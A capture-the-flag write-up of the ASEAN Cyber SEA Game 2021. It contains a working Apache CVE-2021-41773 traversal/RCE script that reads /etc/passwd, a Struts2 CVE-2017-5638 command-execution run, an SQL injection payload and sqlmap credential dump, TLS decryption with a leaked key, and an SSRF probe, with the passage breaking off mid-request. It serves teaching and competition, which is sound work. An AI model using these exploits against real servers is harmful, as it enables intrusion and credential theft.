Summary: The Singapore team competed at the ASEAN Cyber SEA Game 2021 organised by the ASEAN-Japan Cybersecurity Capacity Building Centre (AJCCBC) and achieved 3rd place during the highly competitive capture the flag competition.

Introduction

This year, the Cyber Security Agency of Singapore (CSA) held a selection exercise to form the team to represent Singapore at the ASEAN Cyber SEA Game 2021 organised by the ASEAN-Japan Cybersecurity Capacity Building Centre in Thailand.

The selected members were:

The four of us competed at the official competition held online on the 26th of November 2021.

After an ultra competitive five hours in which the top position was highly vied for, the Singapore team emerged as the 2nd runner up.

Singapore achieved third place

Team Vietnam achieved the 1st runner up position.

Vietnam achieved second place

Finally, Team Thailand were the ultimate champion.

Thailand achieved first place

Congratulations to both the teams from Thailand and Vietnam! They demonstrated excellent skills.

Challenges

Unfortunately, the challenge and scoreboard went down immediately at the end of the competition so these are only a subset of the challenges I can remember.

Object

Attachment: dataFile_e3347688032cb381a44796d46232ab9d

The given file contained Java serialized data.

$ file dataFile_e3347688032cb381a44796d46232ab9d
dataFile_e3347688032cb381a44796d46232ab9d: Java serialization data, version 5

This can be confirmed to be JDK serialization by observing the first two bytes of the binary blob to be aced. ADditionally, we can also see that the data contains a serialized java.lang.Long object.

xxd dataFile_e3347688032cb381a44796d46232ab9d
00000000: aced 0005 7372 000e 6a61 7661 2e6c 616e  ....sr..java.lan
00000010: 672e 4c6f 6e67 3b8b e490 cc8f 23df 0200  g.Long;.....#...
00000020: 014a 0005 7661 6c75 6578 7200 106a 6176  .J..valuexr..jav
00000030: 612e 6c61 6e67 2e4e 756d 6265 7286 ac95  a.lang.Number...
00000040: 1d0b 94e0 8b02 0000 7870 0000 0000 5588  ........xp....U.
00000050: 0711

We can deserialize the number with a simple adapted Java class.

import java.io.*;

public class ObjectInputStreamDemo {
   public static void main(String[] args) {
      try {
         // create an ObjectInputStream for the file we created before
         ObjectInputStream ois = new ObjectInputStream(new FileInputStream("dataFile_e3347688032cb381a44796d46232ab9d"));

         // read and print an object and cast it as string
         System.out.println("" + (Long) ois.readObject());
      } catch (Exception ex) {
         ex.printStackTrace();
      }
   }
}

All that is left to do is to compile and execute the Java class.

$ javac ObjectInputStreamDemo.java
$ java ObjectInputStreamDemo
1434978065

Flag: flag{1434978065}

Known Vulnerability 1

We were given the target of http://13.114.183.54:8081.

An initial request was first sent to http://13.114.183.54:8081:

GET / HTTP/1.1
Host: 13.114.183.54:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1


The response we received indicated that the server was Apache 2.4.49.

HTTP/1.1 200 OK
Date: Fri, 26 Nov 2021 03:01:03 GMT
Server: Apache/2.4.49 (Unix)
Last-Modified: Mon, 11 Jun 2007 18:53:14 GMT
ETag: "2d-432a5e4a73a80"
Accept-Ranges: bytes
Content-Length: 45
Connection: close
Content-Type: text/html

<html><body><h1>It works!</h1></body></html>

If you’ve been keeping up with the infosec drama in the past few months, that Apache version would’ve been a huge red flag as there was a directory traversal vulnerability (CVE-2021-41773) introduced in that version. The vulnerability could even be leveraged to gain code execution.

Searching for an exploit turns this script by Lucas Souza up.

# Exploit Title: Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution (RCE)
# Date: 10/05/2021
# Exploit Author: Lucas Souza https://lsass.io
# Vendor Homepage:  https://apache.org/
# Version: 2.4.49
# Tested on: 2.4.49
# CVE : CVE-2021-41773
# Credits: Ash Daulton and the cPanel Security Team

#!/bin/bash

if [[ $1 == '' ]]; [[ $2 == '' ]]; then
echo Set [TAGET-LIST.TXT] [PATH] [COMMAND]
echo ./PoC.sh targets.txt /etc/passwd
exit
fi
for host in $(cat $1); do
echo $host
curl -s --path-as-is -d "echo Content-Type: text/plain; echo; $3" "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e$2"; done

# PoC.sh targets.txt /etc/passwd
# PoC.sh targets.txt /bin/sh whoami

We can use the script to exfiltrate /etc/passwd:

$ echo http://13.114.183.54:8081/ > targets.txt
$ bash apache.sh targets.txt /etc/passwd
http://13.114.183.54:8081/
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
flag:x:1000:1000:flag{N_oht_jnf_perngrq}:/home/flag:/bin/sh

Flag: flag{N_oht_jnf_perngrq}

Known Vulnerability 2

We were given the target of http://13.114.183.54:8080.

The following request was sent to http://13.114.183.54:8080:

GET /index.action HTTP/1.1
Host: 13.114.183.54:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1


In the response, we are presented with a Struts2 showcase website.

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=B42F74A4BBEEFFEA4BAD8B3684A132FB; Path=/; HttpOnly
Content-Type: text/html;charset=ISO-8859-1
Date: Fri, 26 Nov 2021 03:16:40 GMT
Connection: close
Content-Length: 14687


<!DOCTYPE html>

<html lang="en">
<head>
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="description" content="Struts2 Showcase for Apache Struts Project">
    <meta name="author" content="The Apache Software Foundation">

    <title>Struts2 Showcase</title>

    <link href="/styles/bootstrap.css" rel="stylesheet" type="text/css" media="all">
    <link href="/styles/main.css" rel="stylesheet" type="text/css" media="all"/>

    <script src="/js/jquery-2.1.4.min.js"></script>
    <script src="/js/bootstrap.min.js"></script>
    <script type="text/javascript">
        $(function () {
            var alerts = $('ul.alert').wrap('<div />');
            alerts.prepend('<a class="close" data-dismiss="alert" href="#">&times;</a>');
            alerts.alert();
        });
    </script>

    <!-- Prettify -->
    <link href="/styles/prettify.css" rel="stylesheet">
    <script src="/js/prettify.js"></script>

    <!-- Le HTML5 shim, for IE6-8 support of HTML5 elements -->
    <!--[if lt IE 9]>
    <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>
    <![endif]-->

    <script src="/struts/utils.js" type="text/javascript"></script>
</head>

...

Using the nmap script to check for vulnerability to CVE-2017-5638 turned up a positive result. (Apologies! I didn’t capture the output for this command.)

$ nmap -p8080 --script http-vuln-cve2017-5638 13.114.183.54
...
... IS VULNERABLE!

Now we can simply clone this exploit by mazen160 and use it against the server.

$ python struts-pwn.py --url 'http://13.114.183.54:8080/showcase.action' -c 'cat /flag/flag.txt'

[*] URL: http://13.114.183.54:8080/showcase.action
[*] CMD: cat /flag/flag.txt
[!] ChunkedEncodingError Error: Making another request to the url.
Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help.
EXCEPTION::::--> ("Connection broken: InvalidChunkLength(got length b'', 0 bytes read)", InvalidChunkLength(got length b'', 0 bytes read))
Note: Server Connection Closed Prematurely

flag{Fbzrqnl_vg_jvyy_or_hahfrq}
[%] Done.

Flag:: flag{Fbzrqnl_vg_jvyy_or_hahfrq}

CDN

In this challenge we were supposed to identify which CDN was serving jpn.nec.com.

This was trivial.

ping jpn.nec.com
PING e13694.b.akamaiedge.net (125.252.231.135): 56 data bytes
64 bytes from 125.252.231.135: icmp_seq=0 ttl=59 time=7.246 ms
64 bytes from 125.252.231.135: icmp_seq=1 ttl=59 time=4.371 ms
^C
--- e13694.b.akamaiedge.net ping statistics ---
2 packets transmitted, 2 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 4.371/5.809/7.246/1.438 ms

Flag: flag{akamai}

Unlock

Attachment: 64ef3b043d56cbbb8f873cfa96cd3e4e.zip

Unzipping the zip file gave us the configuration for a HTTPd server as well as pcap file.

unzip -l 64ef3b043d56cbbb8f873cfa96cd3e4e.zip
Archive:  64ef3b043d56cbbb8f873cfa96cd3e4e.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
        0  12-14-2018 12:50   etc/
        0  12-14-2018 12:51   etc/httpd/
        0  12-14-2018 12:50   etc/httpd/conf/
        0  12-14-2018 12:50   etc/httpd/conf.d/
      118  05-20-2009 15:05   etc/httpd/conf.d/mod_dnssd.conf
     1484  02-28-2018 18:23   etc/httpd/conf.d/php.conf
      392  06-20-2018 00:47   etc/httpd/conf.d/README
     9439  12-13-2018 19:03   etc/httpd/conf.d/ssl.conf
      299  02-19-2018 20:24   etc/httpd/conf.d/welcome.conf
    34738  12-13-2018 18:30   etc/httpd/conf/httpd.conf
        0  12-14-2018 12:50   etc/pki/
        0  12-14-2018 12:50   etc/pki/CA/
        0  12-14-2018 12:50   etc/pki/ca-trust/
        0  12-14-2018 12:50   etc/pki/ca-trust/extracted/
        0  12-14-2018 12:50   etc/pki/ca-trust/extracted/java/
   179212  04-03-2018 15:43   etc/pki/ca-trust/extracted/java/cacerts
      726  07-14-2014 23:55   etc/pki/ca-trust/extracted/java/README
        0  12-14-2018 12:50   etc/pki/ca-trust/extracted/openssl/
   321332  04-03-2018 15:43   etc/pki/ca-trust/extracted/openssl/ca-bundle.trust.crt
      787  07-14-2014 23:55   etc/pki/ca-trust/extracted/openssl/README
        0  12-14-2018 12:50   etc/pki/ca-trust/extracted/pem/
   191741  04-03-2018 15:43   etc/pki/ca-trust/extracted/pem/email-ca-bundle.pem
   191772  04-03-2018 15:43   etc/pki/ca-trust/extracted/pem/objsign-ca-bundle.pem
      897  07-14-2014 23:55   etc/pki/ca-trust/extracted/pem/README
   240762  04-03-2018 15:43   etc/pki/ca-trust/extracted/pem/tls-ca-bundle.pem
      560  07-14-2014 23:55   etc/pki/ca-trust/extracted/README
      166  07-14-2014 23:55   etc/pki/ca-trust/README
        0  12-14-2018 12:50   etc/pki/ca-trust/source/
        0  12-14-2018 12:50   etc/pki/ca-trust/source/anchors/
        0  12-14-2018 12:50   etc/pki/ca-trust/source/blacklist/
      932  07-14-2014 23:55   etc/pki/ca-trust/source/README
        0  12-14-2018 12:50   etc/pki/CA/certs/
        0  12-14-2018 12:50   etc/pki/CA/crl/
        0  12-14-2018 12:50   etc/pki/CA/newcerts/
        0  12-14-2018 12:50   etc/pki/CA/private/
        0  12-14-2018 12:50   etc/pki/java/
   177130  07-14-2014 23:55   etc/pki/java/cacerts
        0  12-14-2018 12:50   etc/pki/nssdb/
    65536  01-13-2010 05:09   etc/pki/nssdb/cert8.db
     9216  01-13-2010 06:18   etc/pki/nssdb/cert9.db
    16384  01-13-2010 06:21   etc/pki/nssdb/key3.db
    11264  01-13-2010 06:20   etc/pki/nssdb/key4.db
      451  09-24-2014 17:04   etc/pki/nssdb/pkcs11.txt
    16384  01-13-2010 05:45   etc/pki/nssdb/secmod.db
        0  12-14-2018 12:50   etc/pki/rpm-gpg/
     1706  10-23-2014 20:40   etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6
     1730  10-23-2014 20:40   etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-Debug-6
     1730  10-23-2014 20:40   etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-Security-6
     1734  10-23-2014 20:40   etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-Testing-6
     1649  11-05-2012 12:52   etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-6
     1726  09-27-2016 16:00   etc/pki/rpm-gpg/RPM-GPG-KEY-PGDG-96
     1340  03-23-2017 22:39   etc/pki/rpm-gpg/RPM-GPG-KEY-remi
     3100  03-23-2017 22:39   etc/pki/rpm-gpg/RPM-GPG-KEY-remi2017
     3143  01-16-2018 15:49   etc/pki/rpm-gpg/RPM-GPG-KEY-remi2018
        0  12-14-2018 12:50   etc/pki/rsyslog/
        0  12-14-2018 12:50   etc/pki/tls/
   786601  07-14-2014 23:55   etc/pki/tls/cert.pem
        0  12-14-2018 12:50   etc/pki/tls/certs/
   786601  07-14-2014 23:55   etc/pki/tls/certs/ca-bundle.crt
  1005005  07-14-2014 23:55   etc/pki/tls/certs/ca-bundle.trust.crt
     1403  12-13-2018 18:23   etc/pki/tls/certs/localhost.crt
      610  10-15-2014 19:56   etc/pki/tls/certs/make-dummy-cert
     2242  10-15-2014 19:56   etc/pki/tls/certs/Makefile
      829  10-15-2014 19:56   etc/pki/tls/certs/renew-dummy-cert
     1103  12-13-2018 18:22   etc/pki/tls/certs/server.crt
      952  12-13-2018 18:21   etc/pki/tls/certs/server.csr
     1675  12-13-2018 18:21   etc/pki/tls/certs/server.key
        0  12-14-2018 12:50   etc/pki/tls/misc/
     5178  10-15-2014 19:55   etc/pki/tls/misc/CA
      119  10-15-2014 19:55   etc/pki/tls/misc/c_hash
      152  10-15-2014 19:55   etc/pki/tls/misc/c_info
      112  10-15-2014 19:55   etc/pki/tls/misc/c_issuer
      110  10-15-2014 19:55   etc/pki/tls/misc/c_name
    10906  08-15-2014 16:55   etc/pki/tls/openssl.cnf
        0  12-14-2018 12:50   etc/pki/tls/private/
     1675  12-13-2018 18:23   etc/pki/tls/private/localhost.key
     7380  12-13-2018 19:04   unlock.pcapng
---------                     -------
  4102233                     77 files

Investigating the protocol hierarchy tells us that there is both TLS and plain text HTTP data.

Protocol hierarchy

If we follow the HTTP stream, we can see that the /flag.txt file is attempted to be retrieved. However, a redirection to an HTTPS endpoint is returned.

GET /flag.txt HTTP/1.1
User-Agent: Wget/1.17.1 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: 192.168.1.111
Connection: Keep-Alive

HTTP/1.1 302 Found
Date: Thu, 13 Dec 2018 10:04:36 GMT
Server: Apache/2.2.15 (CentOS)
Location: https://192.168.1.111/flag.txt
Content-Length: 293
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="https://192.168.1.111/flag.txt">here</a>.</p>
<hr>
<address>Apache/2.2.15 (CentOS) Server at 192.168.1.111 Port 80</address>
</body></html>

This is confirmed in the next few packets and the TLS encryption prevents us from directly obtaining the flag.

TLS packets

Since the HTTPd configuration files were provided, it can be surmised that some private keys may be included in the dump and used to decrypt the TLS packets.

$ find etc | grep key
etc/pki/tls/certs/server.key
etc/pki/tls/private/localhost.key
etc/pki/nssdb/key4.db
etc/pki/nssdb/key3.db

We can configure Wireshark to decrypt TLS packets like so with the etc/pki/tls/certs/server.key.

Wireshark TLS Configuration

Now, we can follow the decrypted HTTPS stream and obtain the flag.

GET /flag.txt HTTP/1.1
User-Agent: Wget/1.17.1 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: 192.168.1.111
Connection: Keep-Alive

HTTP/1.1 200 OK
Date: Thu, 13 Dec 2018 10:04:36 GMT
Server: Apache/2.2.15 (CentOS)
Last-Modified: Thu, 13 Dec 2018 09:33:34 GMT
ETag: "441f-27-57ce4022cc72d"
Accept-Ranges: bytes
Content-Length: 39
Connection: close
Content-Type: text/plain; charset=UTF-8

flag{cf8236571e9dd3bcaf44b188bba4f15d}

Flag: flag{cf8236571e9dd3bcaf44b188bba4f15d}

PS: It turns out that this challenge appeared in 2019 and was re-used. A writeup by the Thailand team had the exact same flag.

Mod

Attachments:

After extracting the zip file, we are given a Windows executable.

$ unzip -l mod_e2b191e6b2bb80471d8c4cdb96002207.zip
Archive:  mod_e2b191e6b2bb80471d8c4cdb96002207.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
    19456  11-11-2018 17:23   mod_e2b191e6b2bb80471d8c4cdb96002207.exe
---------                     -------
    19456                     1 file

The .cp file appears to be a redacted source code to the application.

#include "pch.h"

#include <iostream>

int InputNumber()

{
	using namespace std;

	char innum[11] = "";
	int num;
	bool f;

	cout << "Determine whether the number you entered is even or odd." << endl;

	while (true)

	{
		num = 0;
		f = false;

		cout << "Input number, please " << endl;
		cin >> innum;

		for (int i = 0; i < sizeof(innum); i++)
		{
			if (innum[i] > 0)
			{
				if (not (innum[i] >= '0' && innum[i] <= '9'))
				{
					cout << "Input number only." << endl;
					f = false;
					break;
				}
				else {
					int j = innum[i] - '0';
					num = num * 10 + j;
					f = true;
				}
			}
		}

		if (f == true)
		{
			return num;
		}

		signed a = innum[0];
		unsigned b = innum[0];
	}
}

std::string GetFlag(int key)
{
	std::string val = "";

	if (key * 2 == 2)
	{
		<<Deleted>>
	}
	else {
		val = "Close! Please enter close to the limit value to get a flag.";
	}

	return val.c_str();

}

int main()
{
	using namespace std;

	int num;
	num = InputNumber();
	std::string msg;

	if (num % 2 == 0)
	{
		msg = "The number you input is even.\n";
	} else if (num % 2 == 1){
		msg = "The number you input is odd.\n";
	}
	else {
		msg = GetFlag(num);
	}

	printf("%s\n", msg.c_str());

}

There are a few interesting constraints to reach the deleted section where the flag is presumably set in the val variable. The input:

  • Has to be a number and only contain numerical characters, no negatives.
  • Has to not equal 0 when num % 2.
  • Has to not equal 1 when num % 2.
  • Has to equal 2 when multiplied by 2.

The important thing to note is that the num variable is of the signed int type. This means that it is likely 32 bits and integer overflows can occur. A simple way to calculate a value that equals 2 when multiplied by 2 in 32 bit signed integer arithmetic can be performed like so:

In [73]: (0xffffffff + 3)/2
Out[73]: 2147483649.0

This can be verified by using c_types in Python.

In [74]: ctypes.c_int32(2147483649 * 2)
Out[74]: c_int(2)

We can simply supply this value to the program and get our flag.

C:\Users\Jeremy\projects\share\cyberseagames>mod_e2b191e6b2bb80471d8c4cdb96002207.exe
Determine whether the number you entered is even or odd.
Input number, please
2147483649
flag{Something_happens_when_exceeds_limit_value}

Flag: flag{Something_happens_when_exceeds_limit_value}

Backend

We were given the target of http://176.32.76.86:80.

An initial Request was sent to http://176.32.76.86:80:

GET / HTTP/1.1
Host: 176.32.76.86
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1


The response we received indicated that we were supposed to login with the password 1234 as the user1 user.

HTTP/1.1 200 OK
Server: nginx/1.21.4
Date: Fri, 26 Nov 2021 03:45:05 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/5.6.40
Set-Cookie: PHPSESSID=68f86c7463ae9b46df5f8b587bef3da4; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 475


<!DOCTYPEE html>
<html>
    <head>
        <meta charset="UTF-8">
    </head>
    <body>
    <div class="message"></div>
        <form action="index.php" method="post">
            <p>
                username: <input type="text" name="username" value="user1">
            </p>
            <p>
		password: <input type="password" name="password">
		<!-- ...password 1234 -->
            </p>
            <input type="submit" value="send">
        </form>
    </body>
</html>

We attempted this password.

POST /index.php HTTP/1.1
Host: 176.32.76.86
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Origin: http://176.32.76.86
Connection: close
Referer: http://176.32.76.86/
Cookie: PHPSESSID=68f86c7463ae9b46df5f8b587bef3da4
Upgrade-Insecure-Requests: 1

username=user1&password=1234

Unfortunately, the password length has to be 6 or higher.

HTTP/1.1 200 OK
Server: nginx/1.21.4
Date: Fri, 26 Nov 2021 03:45:16 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/5.6.40
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 502


<!DOCTYPEE html>
<html>
    <head>
        <meta charset="UTF-8">
    </head>
    <body>
    <div class="message">password length 6 or higher</div>
        <form action="index.php" method="post">
            <p>
                username: <input type="text" name="username" value="user1">
            </p>
            <p>
		password: <input type="password" name="password">
		<!-- ...password 1234 -->
            </p>
            <input type="submit" value="send">
        </form>
    </body>
</html>

4yn found that using a password of 1234 worked and managed to gain access to a control panel. This could have worked possibly because the password was trimmed.

On a successful login, we were redirected to success.php.

POST /index.php HTTP/1.1
Host: 176.32.76.86
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: http://176.32.76.86
Connection: close
Referer: http://176.32.76.86/index.php
Cookie: PHPSESSID=68f86c7463ae9b46df5f8b587bef3da4
Upgrade-Insecure-Requests: 1

username=user1&password=1234++

Response received:

HTTP/1.1 302 Moved Temporarily
Server: nginx/1.21.4
Date: Fri, 26 Nov 2021 06:14:44 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/5.6.40
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=a194e66cf00ee816ce7d68fd431b13ce; path=/
Location: success.php
Content-Length: 0


On this success.php page, we were granted access to a ‘System Monitoring’ site that had a link to an apidoc.php link and some Javascript that calls http://176.32.76.86:5000.

GET /success.php HTTP/1.1
Host: 176.32.76.86
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://176.32.76.86/index.php
Connection: close
Cookie: PHPSESSID=a194e66cf00ee816ce7d68fd431b13ce
Upgrade-Insecure-Requests: 1


Response received:

HTTP/1.1 200 OK
Server: nginx/1.21.4
Date: Fri, 26 Nov 2021 06:14:45 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/5.6.40
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 1301


<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8">
    <title>System Monitoring</title>
</head>

<body>
    <p><a href="apidoc.php" target="_blank">Documents</a>
    <p>Welcome user1!!	<input type="hidden" value=""/>
    </p>
    <p>
        <a href="logout.php">logout</a>
    </p>

    <div>
        <p>lists</p>
        <html>

<head>
  <script src="https://code.jquery.com/jquery-3.5.1.slim.js"
          integrity="sha256-DrT5NfxfbHvMHux31Lkhxg42LY6of8TaYyK50jnxRnM="
          crossorigin="anonymous"></script>
  <script src="https://cdn.jsdelivr.net/npm/axios/dist/axios.min.js"></script>
</head>
<script>
  axios.get('http://176.32.76.86:5000/list?type=www')
    .then(res => {
      // alert("0");
      console.log(res);
      // document.write(res.data);
      // application/json
      $("#nu").text(res.data);
      var host = res.data[1];
      axios.post('http://176.32.76.86:5000/host/curl', {
          "host": host
        })
        .then(res => {
          //alert(res.data);
          $("#page").text(res.data);
        });

    })
    .catch(error => {
      console.log(error, queries);
    });
</script>


<script>
</script>
<p>ID, HOST , PORT , type , Result</p>
<div>
  <p id="nu"></p>
  <p id="result"></p>
</div>
<code id="page"></code>
    </div>
</body>

</html>

The apidoc.php page gave us some information about how the /list endpoint of 54.168.35.1:5000 could be used to obtain some system information.

GET /apidoc.php HTTP/1.1
Host: 176.32.76.86
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://176.32.76.86/success.php
Cookie: PHPSESSID=a194e66cf00ee816ce7d68fd431b13ce
Upgrade-Insecure-Requests: 1


Response received:

HTTP/1.1 200 OK
Server: nginx/1.21.4
Date: Fri, 26 Nov 2021 06:19:28 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/5.6.40
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 353


<html>

<body>
    <p>#1 System Monitor lists</p>
    <p>GET http://54.168.35.1:5000/list </p>
    <div>
        <p>parameters</p>
        <p>type service</p>
        <p>example: http://54.168.35.1:5000/list?type=mysql</p>

        <p>200 OK </p>
        <p>Result</p>
        <p>[1,"XXXXXXX",3306,"lara","ctf","mysql","rV96mKhMx0vZ0R+3zkThLA=="] </p>

4yn found that this /list endpoint was vulnerable to SQL injection.

GET /list?type='OR'1'%3d'1'+AND+ID%3d2%3b-- HTTP/1.1
Host: 176.32.76.86:5000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Origin: http://176.32.76.86
Connection: close
Referer: http://176.32.76.86/


Response received:

HTTP/1.0 200 OK
Content-Type: application/json
Content-Length: 65
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Content-Type,Authorization
Access-Control-Allow-Methods: GET,PUT,POST,DELETE,OPTIONS
Server: Werkzeug/2.0.2 Python/3.6.9
Date: Fri, 26 Nov 2021 06:28:46 GMT

[
  2,
  "mysql",
  3306,
  "lara",
  "ctf",
  "mysql",
  "t7/pjPgAa96XedDRQ5h5ZA\u003d\u003d"
]

I simply threw sqlmap at it and dumped the items table from the sqlite database.

Table: items
[3 entries]
+----+------+--------------+---------+--------------+---------+----------+-----------+
| id | port | host         | user    | pass         | dbname  | hosttype | tablename |
+----+------+--------------+---------+--------------+---------+----------+-----------+
| 1  | 80   | 176.32.76.86 | <blank> | <blank>      | <blank> | www      | <blank>   |
| 2  | 3306 | mysql        | lara    | secretsecret | ctf     | mysql    | ctf       |
| 3  | 3306 | mysql        | root    | <blank>      | ctf     | mysql    | flag      |
+----+------+--------------+---------+--------------+---------+----------+-----------+

It appears that there is a separate host that runs a backend mysql database that has the flag table. Also notable is that the mysql root user does not have a password. This will come in handy later.

I then explored the /host/curl endpoint. It appears to make CURL requests against the host and returns the response. This is an SSRF primitive.

POST /host/curl HTTP/1.1
Host: 176.32.76.86:5000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 23
Origin: http://176.32.76.86
Connection: close
Referer: http://176.32.76.86/

{
  "host": "176.32.76.86"
}

Response received:

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 475
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Content-Type,Authorization
Access-Control-Allow-Methods: GET,PUT,POST,DELETE,OPTIONS
Server: Werkzeug/2.0.2 Python/3.6.9
Date: Fri, 26 Nov 2021 06:14:46 GMT


<!DOCTYPEE html>
<html>
    <head>
        <meta charset="UTF-8">
    </head>
    <body>
    <div class="message"></div>
        <form action="index.php" method="post">
            <p>
                username: <input type="text" name="username" value="user1">
            </p>
            <p>
		password: <input type="password" name="password">
		<!-- ...password 1234 -->
            </p>
            <input type="submit" value="send">
        </form>
    </body>
</html>

Since it uses CURL, we might be able to use the gopher protocol to make arbitrary TCP requests. The following request confirms this.

POST /host/curl HTTP/1.1
Host: 176.32.76.86:5000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
